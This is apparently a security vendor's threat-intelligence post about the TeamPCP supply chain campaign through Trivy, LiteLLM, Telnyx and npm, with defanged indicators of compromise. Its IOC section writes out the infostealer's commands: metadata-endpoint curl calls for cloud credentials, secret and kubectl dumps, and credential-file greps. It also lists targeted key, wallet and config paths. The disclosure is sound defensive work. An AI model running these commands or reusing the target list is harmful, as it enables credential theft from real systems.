BACK TO BLOGS Back to Press Releases
A supply chain attack exploiting GitHub, npm, and PyPl alloA supply chain attack exploiting GitHub, npm, and PyPl allowed attackers to distribute infostealers and ransomware through compromised packages.wed attackers to distribute infostealers and ransomware through compromised packages.

Supply chain attack: Security scanner compromise leads to widespread infostealer and ransomware pivot

Written by:

ThreatLocker Threat Intelligence

Supply chain propagation attack: When trusted tools become attack vectors

Supply chain attacks are becoming one of the most dangerous ways for cybercriminals to spread malware. Instead of targeting organizations directly, attackers compromise the third-party tools and software developers rely on daily.  

In this instance, it was a seemingly routine security update to a security scanning workflow that triggered a chain reaction.

A widespread supply chain attack leveraging GitHub, PyPI, and the npm package database resulted in the cascading compromise and data theft of user credentials and developer secrets.  

Threat actor group TeamPCP compromised at least two versions of BerriAI's LiteLLM package hosted on PyPI, versions 1.82.7 and 1.82.8, spreading malware to affected users. What began as an upstream workflow change to Aqua Security’s Trivy scanner ultimately resulted in TeamPCP deploying the malicious Python script “proxy_server.py” into LiteLLM version 1.82.7 and path configuration file “litellm_init.pth” into LiteLLM version 1.82.8.  

These two malicious files contain methods of persistence and infostealing capabilities designed to exfiltrate a vast array of sensitive data, including secrets for AWS, GitHub, Google Cloud, Azure, Kubernetes credentials, Docker configs, SSH keys, and cryptocurrency wallets Bitcoin, Litecoin, Zcash, and Solana.

A widely used package was compromised, and what started a small upstream change quickly escalated into credential theft, data exfiltration, and the potential for ransomware deployment.

How the attack spread across GitHub, PyPl, and npm

Initial compromise of software supply chain

On February 28, 2026, an automated campaign was launched by GitHub account “hackerbot-claw” that successfully compromised several public, high-profile GitHub repositories, including “aquasecurity/trivy”.  

The root of this initial compromise was a misconfiguration in the Trivy repository that allowed for CI (continuous integration) privilege escalation, which granted “hackerbot-claw” a privileged PAT (personal access token) and allowed elevated interaction with the GitHub API.  

With these permissions, attackers established an initial foothold and took control of the repository.

Figure 1: HackerBot-Claw Message

Unsuccessful remediation attempt

On March 1, 2026, the Trivy team identified this malicious workflow push and began efforts to remediate by rotating credentials to remove the attackers from their environment. Although an attempt was made to rotate credentials, this rotation was non-atomic, and TeamPCP was able to maintain access.  

As some credentials were changed, other credentials that were still under attacker control were used to leak the newly changed credentials, making the remediation attempt a failure.  

This unsuccessful attempt is a stark example of how important careful, comprehensive, and absolute remediation is when combating advanced threat groups.

Malicious code injection

With continued access, TeamPCP force-pushed malicious code to 76 of 77 version tags in the “aquasecurity/trivy-action” repository, all seven tags in “aquasecurity/setup-trivy”, and “aquasecurity/trivy” version 0.69.4.

Figure 2: Credential Rotation Statement
Figure 3: Push Statement

The malicious push to both “aquasecurity/trivy-action” and “aquasecurity/setup-trivy” contained malicious files “entrypoint.sh” and “action.yaml” respectively. These files are very similar and only differ in how the malicious Trivy binary is ultimately installed. The injected instructions capture secrets in memory ($MEMORY_SECRETS) as well as shell secrets ($SHELL_RUNNER_GOODIES).  

Once captured, the secrets are exfiltrated to a typosquatted domain “scan[.]aquasecurtiy[.]org” or a public GitHub repository named “tpcp-docs” using the captured GitHub PAT. A separate fallback domain has been discovered that is used for the same purpose, “plug-tab-protective-relay.trycloudflare[.]com”.

Figure 4: Entrypoint Exfil
Figure 5: Entrypoint Secrets

Once the secrets are exfiltrated, the compromised version of Trivy (held under the “latest” tag at the time), version 0.69.4, is installed.

Figure 6: Trivy Install

Credential theft, infostealing, and persistence

The malicious Trivy binary performs much more extensive infostealing tasks, capturing credentials and secrets for the local system and several different vendors including AWS, npm, GitHub, Google, Kubernetes, Slack, and Discord. Collected data is sent to the previously mentioned typosquatted domain, “scan[.]aquasecurtiy[.]org”.

The malicious binary additionally uses nested base64 encoded data to drop the first version of “sysmon.py”. The “sysmon.py” file is installed as a persistent system service and performs the final C2 capabilities in the chain of compromise.  

This C2 client initially sleeps for five minutes, then enters a loop of its core logic that repeats every 50 minutes. Each loop (in this version) uses the “urlLib.request.urlRetrieve” Python method to reach out to an Internet Computer Protocol (ICP) Canister, “tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io”.

On analysis, this link returns one of three YouTube music videos: Rick Astley’s “Never Gonna Give You Up” (commonly referred to as a “Rick Roll”), Queen’s “The Show Must Go On”, or the English Remaster of the Touhou Project video game background song “Bad Apple!!”.  

The response to this request is saved to “/tmp/.pg_state”. If the new download URL does not contain “youtube.com” or a previously recorded URL within “/tmp/.pg_state”, the contents of the response are saved to “/tmp/pglog” and executed. Threat Intelligence suspects that the response to this ICP Canister request is actively changed to either prevent analysis or execute arbitrary commands through the C2 infrastructure.

Figure 7: Encoded Sysmon Script
Figure 8: Sysmon Script

The timeline suggests that the malicious Trivy force-push events eventually led to the PyPI account of LiteLLM maintainer “krrishdholakia” being hijacked. A public advisory was released by the two LiteLLM maintainers, “krrishdholakia” and “ishaan-jaff”, stating that “a maintainer’s PyPI account may have been compromised.” User “krrishdholakia” has since been removed from the PyPI LiteLLM account as a maintainer.

Figure 9: Maintainer Disclosure

Figure 10: LiteLLM on PyPI

The compromise of the “krrishdholakia” PyPI account enabled TeamPCP to increase their impact by introducing malicious code into two versions of LiteLLM, 1.82.7 and 1.82.8. Version 1.82.7 contained a malicious modification to “proxy_server.py”. Version 1.82.8 retained the malicious “proxy_server.py” payload and additionally introduced “litellm_init.pth”, which enabled automatic execution on Python startup.  

Both files have base64 encoded infostealer payloads that search a system extensively for the same massive range of saved credentials, tokens, configuration files, and other secrets mentioned previously. The infostealer payloads will upload a package containing stolen information named “tpcp.tar.gz” to the third typosquatted domain, “models[.]litellm[.]cloud”.

Figure 11: LiteLLM Exfil

The effective difference between these two files is crucial, “proxy_server.py” requires user interaction for execution, and “litellm_init.pth” does not. Python path configuration files (“.pth”) are processed on every new Python instance and executed automatically. Successful execution of “proxy_server.py” requires a script to import “litellm.proxy”, which results in payload “p.py” being written and executed from a temporary directory, leading to an encoded version of “sysmon.py” being deployed.

Figure 12: Embedded p.py

Both files had the second iteration of “sysmon.py” embedded and nested under three levels of base64 encoding, where the attacker-controlled C2 URL was changed. The URL now points to another typosquatted domain, “checkmarx[.]zone” in place of “scan[.]aquasecurtiy[.]org”.

Exploit discovery

The exploit was initially discovered by FutureSearch researcher Callum McMahon due to an unintentionally coded fork bomb within the malicious LiteLLM file “litellm_init.pth”.  

As mentioned, the “.pth” extension allows this file to be parsed and executed on every new Python instance, requiring no execution on the user end. This file also uses the Python method “subprocess.Popen”, which itself spawns a new Python process, calling “litellm_init.pth”. Considering the other resource intensive actions that this file takes, this recursive loop would cause an infected machine to quickly become unresponsive after several Python instances are spawned and continue to spawn.  

Figure 13: LiteLLM .pth File

TeamPCP’s Next Steps

In a perfect world, on the announcement of the Trivy & LiteLLM compromises, the affected communities would diligently rotate any sensitive credentials, keys, and secrets. However, delays in complete credential rotation provided TeamPCP with the opportunity to partner with the Vect ransomware group, who have announced they will be providing affiliate keys to every member of the BreachForums community.

Figure 14: Partnership Announcement

According to Vect, affiliate keys have not been distributed yet. The ransomware group is actively working toward their affiliate key distribution system, replying to comments with updates on the status.

Figure 15: First Reply
Figure 16: Second Reply

This announcement is likely to facilitate increased ransomware activity against the organizations directly affected by the Trivy & LiteLLM compromise. Additionally, any opportunistic threat actor that was previously independent can now cash in directly to Vect if they successfully compromise an organization.

Figure 17: Vect Data Leak Site

TeamPCP pivots to deploying CanisterWorm

Immediately after npm credentials were stolen through the Trivy supply chain attack, TeamPCP pivoted to deploying the CanisterWorm script, which was able to propagate throughout organizations by chaining stolen credentials from victims, and deploying a malicious “deploy.js” file for future victims.  

When newly published npm packages are installed with the malicious “deploy.js”, TeamPCP's success multiplies exponentially. A more recent version of this attack uses “index.js”, which also includes the “pgmon” payload used in “sysmon.py” and captures available npm credentials, leading to the propagation of this attack. By altering and infecting authentication related configuration files, unsuspecting or uninformed victims keep the campaign alive, contributing to TeamPCP's success rate.

Figure 18: Deploy Script
Figure 19: Index Script

Telnyx PyPI compromise

An additional campaign resulting from the originally leaked credentials affected Telnyx, an AI-based communications platform. The malicious packages spread through Telnyx’s PyPI account had an identical RSA-4096 key to the prior LiteLLM payloads, providing strong evidence to attribute this attack to TeamPCP.  

This attack introduced a new technique into TeamPCP’s arsenal: WAV steganography. Within the malicious Telnyx package, a “_client.py” file holds base64 encoded (and obfuscated) payloads for both Windows and Linux machines. Both payloads use the “urllib” Python library to download a valid “WAV” audio file from malicious IP “hxxp://83[.]142[.]209[.]203:8080”.  

On Windows machines, a “hangup.wav” is downloaded as a legitimate tool, “msbuild.exe”, likely to evade detection and analysis in simple process monitoring tools. However, this file is downloaded into the startup folder, allowing persistence by triggering execution on each user logon.  

On Linux machines, “ringtone.wav” is downloaded from the same IP as “temp.wav” to the system temporary directory.  

Figure 20: Hangup WAV
Figure 21: Ringtone WAV  

Once downloaded, both valid “WAV” files are decrypted using a simple XOR decryption: The first eight bytes are used to create the XOR key, and each byte is XORed against that number.  

On Windows, the resulting payload is saved and executed as a “.tmp” file and uses DonutLoader, a well-known shellcode loader, to load an Adaptix C2 beacon. On Linux, the payload appears to be another infostealer. Although the infrastructure holding these files is no longer active, the output of “ringtone.wav” is saved to “/tmp/c” and collected data is compressed and uploaded to the IP “hxxp://83[.]142[.]209[.]203:8080” as “tpcp.tar.gz”.

Figure 22: Adaptix C2 Beacon

Why supply chain attacks are so effective

Supply chain compromise continues to be one of the widest impacting attacks in the modern era of infostealing malware. They are effective because they exploit trust at scale.

Attackers compromise widely used tools, packages, or workflows, allowing malicious code to spread quickly across multiple environments. Because security teams often have limited visibility into third-party dependencies, these automated updates can introduce risk without immediate detection.

In this instance, the widespread downstream impact was immediately felt, and collected credentials & secrets are actively being leveraged to compromise other organizations, vendors and packages.  

Although most of this campaign has consisted of infostealing, the amount of data collected has now reached a level to the point where TeamPCP appears to be pivoting into ransomware campaigns for monetization of their work.  

Each new attack results in more stolen information and further monetization, propagating TeamPCP’s impact.

How to prevent supply chain propagation attacks

Preventing a similar attack to this one requires a shift from detection to prevention regarding what can run in your environment.

This begins with Application Allowlisting so only approved applications, scripts, and dependencies are able to execute. Even if a trusted package is compromised, the bad behavior is blocked.

Applying least privilege across your environment also ensures that if malicious code runs, it cannot access sensitive systems or data.

Implementing Zero Trust across your environment requires assuming that both internal and external components will be compromised and enforcing strict controls to ensure that when it happens, the damage is contained.  

FAQs

What is a supply chain attack?

A supply chain attack is when attackers compromise a trusted vendor, software package, or service to distribute malware to downstream users.

Why are package managers like PyPl and npm targeted?

These tools are widely used and trusted by developers, making them an ideal target for attackers.

What is an infostealer?

An infostealer is malware designed to collect sensitive information such as credentials, API keys, and financial data from infected systems.

How do attackers turn infostealers into ransomware attacks?

Stolen credentials allow attackers to move laterally, escalate privileges, and eventually deploy ransomware across the environment.

How can organizations reduce supply chain risk?

By enforcing application control, limiting privileges, monitoring dependencies, and adopting a Zero Trust security model.

IOCs

Files

Name: litellm-1.82.7.tar.gz
SHA256: 8A2A05FD8BDC329C8A86D2D08229D167500C01ECAD06E40477C49FB0096EFDEA

Name: litellm-1.82.8.tar.gz
SHA256: D39F4E7A218053CCE976C91EACF184CF09A6960C731CC9D66D8E1A53406593A5

Name: litellm_init.pth
SHA256: 71E35AEF03099CD1F2D6446734273025A163597DE93912DF321EF118BF135238

Name: proxy_server.py
SHA256: A0D229BE8EFCB2F9135E2AD55BA275B76DDCFEB55FA4370E0A522A5BDEE0120B

Name: sysmon.py (V1)
SHA256: B219CE2263C913655269946B884C38EE3DC577A7F1221D4524F2B2BCEB1F55AD

Name: sysmon.py (V2)
SHA256: 4F997EBBE069453F91BA4CEF5979BDAD4D04BF33931740EC22E1CAEFC1F86A27

Name: entrypoint.sh
SHA256: 18A24F83E807479438DCAB7A1804C51A00DAFC1D526698A66E0640D1E5DD671A

Name: trivy-from-amd-1-7-5
SHA256: 822DD269EC10459572DFAAEFE163DAE693C344249A0161953F0D5CDD110BD2A0

Name: trivy-from-amd-1-7-6
SHA256: 7B5CC85E82249B0C452C66563EDCA498CE9D0C70BADEF04AB2C52ACEF4D629CA

Name: action.yaml
SHA256: A3BD86B8D621047FBCF79D3DC774D3F21CEA5E7940C9E988B141454489AD7711

Name: deploy.js
SHA256: 5E2BA7C4C53FA6E0CEF58011ACDD50682CF83FB7B989712D2FCF1B5173BAD956

Name: index.js
SHA256: C37C0AE9641D2E5329FCDEE847A756BF1140FDB7F0B7C78A40FDC39055E7D926

Name: _client.py
SHA256: 23B1EC58649170650110ECAD96E5A9490D98146E105226A16D898FBE108139E5

Name: hangup.wav/msbuild.exe
SHA256: A0A8857E8A65C05778CF6068AD4C05EC9B6808990AE1427E932D2989754C59A4

Commands

  • run('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null')
  • run('printenv')
  • run('env | grep AWS_')
  • run('curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI} 2>/dev/null || true')
  • run('curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || true')
  • run('find /var/secrets /run/secrets -type f 2>/dev/null | xargs -I{} sh -c \'echo “=== {} ===“; cat “{}” 2>/dev/null\'')
  • run('env | grep -i kube; env | grep -i k8s')
  • run('kubectl get secrets --all-namespaces -o json 2>/dev/null || true')
  • run('env | grep -i google; env | grep -i gcloud')
  • run('cat $GOOGLE_APPLICATION_CREDENTIALS 2>/dev/null || true')
  • run('env | grep -i azure')
  • run('env | grep -iE “(DATABASE|DB_|MYSQL|POSTGRES|MONGO|REDIS|VAULT)”')
  • run('wg showconf all 2>/dev/null || true')
  • run('grep -r “hooks.slack.com\|discord.com/api/webhooks” . 2>/dev/null | head -20')
  • run('grep -rE “api[_-]?key|apikey|api[_-]?secret|access[_-]?token” . --include=“*.env*” --include=“*.json” --include=“*.yml” --include=“*.yaml” 2>/dev/null | head -50')
  • run('env | grep -i solana')
  • run('grep -r “rpcuser\|rpcpassword\|rpcauth” /root /home 2>/dev/null | head -50')
  • run('cat /var/log/auth.log 2>/dev/null | grep Accepted | tail -200')
  • run('cat /var/log/secure 2>/dev/null | grep Accepted | tail -200')

Domains

  • models[.]litellm[.]cloud
  • plug-tab-protective-relay[.]trycloudflare[.]com
  • scan[.]aquasecurtiy[.]org
  • ttdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io
  • checkmarx[.]zone

IPs

  • 45[.]148[.]10[.]212
  • 83[.]142[.]209[.]11
  • 83[.]142[.]209[.]203

SSH information

/.ssh/id_rsa  

/.ssh/id_ed25519

/.ssh/id_ecdsa

/.ssh/id_dsa

/.ssh/authorized_keys  

/.ssh/known_hosts

/.ssh/config

Environment variables

.env  

.env.local

.env.production  

.env.development

.env.staging

env | grep -iE “(DATABASE|DB_|MYSQL|POSTGRES|MONGO|REDIS|VAULT)

System credentials

/etc/passwd

/etc/shadow

cat /var/log/auth.log | grep Accepted

cat /var/log/secure | grep Accepted

History files

bash history

zsh_history

sh_history

mysql_history

psql_history

rediscli_history

AWS credentials

/.aws/credentials

/.aws/config

AWS_ACCESS_KEY_ID

AWS_SECRET_ACCESS_KEY

AWS_SESSION_TOKEN

AWS_DEFAULT_REGION

curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

Kubernetes credentials

/etc/Kubernetes/admin.conf

/etc/Kubernetes/kubelet.conf

/etc/kubernetes/controller-manager.conf

/etc/Kubernetes/scheduler.conf

/var/run/secrets/kubernetes.io/serviceaccount/token

/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

/var/run/secrets/kubernetes.io/serviceaccount/namespace

/run/secrets/kubernetes.io/serviceaccount/token

/run/secrets/kubernetes.io/serviceaccount/ca.crt

Google Cloud credentials

/root/.config/gcloud/application_default_credentials.json

$GOOGLE_APPLICATION_CREDENTIALS

CI/CD Secrets

terraform.tfvars (Terraform)

gitlab-ci.yml (GitLab)

.travis.yml (Travis CI/CD)

JenkinsFile (Jenkins automation server)

.drone.yml (Drone CI/CD)

anchor.toml (anchor dev tool framework)

ansible.cfg (provisioning automation)

*/.docker/config.json

*/.azure

.gitconfig

Cryptocurrency wallets

Bitcoin.conf

Litecoin.conf

Dogecoin.conf

zcash.conf

dash.conf (dashcoin)

rippled.cfg

bitmonero.conf

/.bitcoin/wallet*.dat

/.ethereum/keystore

/.cardano

/.config.solana

Miscellaneous credentials

npmrc (npm)

vault-token (hashicorp vault)

netrc (remote FTP creds)

lftp/rc (LFTP file transfer)

msmtprc (SMTP client)

my.cnf (MySQL saved creds)

pgpass (PostgreSQL)

mongorc.js (mongodb)

sasl_passwd (postfix)

ldap.conf (OpenLDAP)

slapd.conf (OpenLDAP)

/etc/wireguard.conf (Wireguard)

*/.helm (Kubernetes package manager)

/etc/ssl/private/*.key (OpenSSL)

/etc/letsencrypt/*.pem (LetsEncrypt cert)

hooks.slack.com (Slack chat)

discord.com/api/webhooks (Discord)  

No items found.

Start your path to stronger defenses

Start your trial

Try ThreatLocker free for 30 days and experience full Zero Trust protection in your own environment.

Book a demo

Schedule a customized demo and explore how ThreatLocker aligns with your security goals.

Ask an expert

Just starting to explore our platform? Find out what ThreatLocker is, how it works, and how it’s different.